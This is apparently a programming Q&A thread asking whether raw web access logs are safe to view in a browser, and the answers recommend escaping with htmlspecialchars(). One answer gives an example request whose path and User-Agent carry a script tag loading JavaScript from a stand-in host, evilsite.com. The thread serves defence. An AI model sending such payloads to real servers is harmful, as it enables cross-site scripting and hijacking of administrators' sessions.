Is it dangerous thing to view access log without sanitizing via web browser?

Question

Is it dangerous thing to view access log without sanitizing via web browser?

I am considering to record access log,
and I am considering to view it via wev browser,
but if attacker modifies his remote host
or user agent or something, can he attack to me?

By inserting attacking code into his remote host or user agent or ect.

So do I need to sanitize by htmlspecialchar
before opening the access log file via web browser?

I mean attacker insert some attacking code
into his remote host or user agent or someware,
then I see that access log via web browser,
then my PC will be affected that code.

Answer 1

Theoretically it is possible, yes, and you should commend yourself for having the right mindset to think about it that way. Sanitizing any uncontrolled input before displaying it in a web-browser is always a good idea.

I would run the log output through htmlspecialchars().

Answer 2

Yes, this is dangerous.

For example, a malicious user can just request something like this:

GET /<script src="http://www.evilsite.com/malicious.js"&gt;&lt;/script&gt; HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"&gt;&lt;/script&gt;

And compromise your view page with malicious JavaScript.

Since you're probably viewing the log on your site, you'd be logged in as an account with administrative rights. With the malicious JavaScript, the attacker can steal your session cookie and take over your session, complete with all the things you can do while logged in.

So, in conclusion, you should definitely escape access log pages, unless you like having your administrative accounts compromised.

Answer 3

You probably want some html formatting for the output and therefore have to sanitize/encode the log data. But for the arguments sake: If you send the output as text/plain the client isn't supposed to parse any html/javascript.
E.g. the output of

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';

displays as

<script>alert(document.URL);</script>

(at least in FF3, IE8, opera, safari).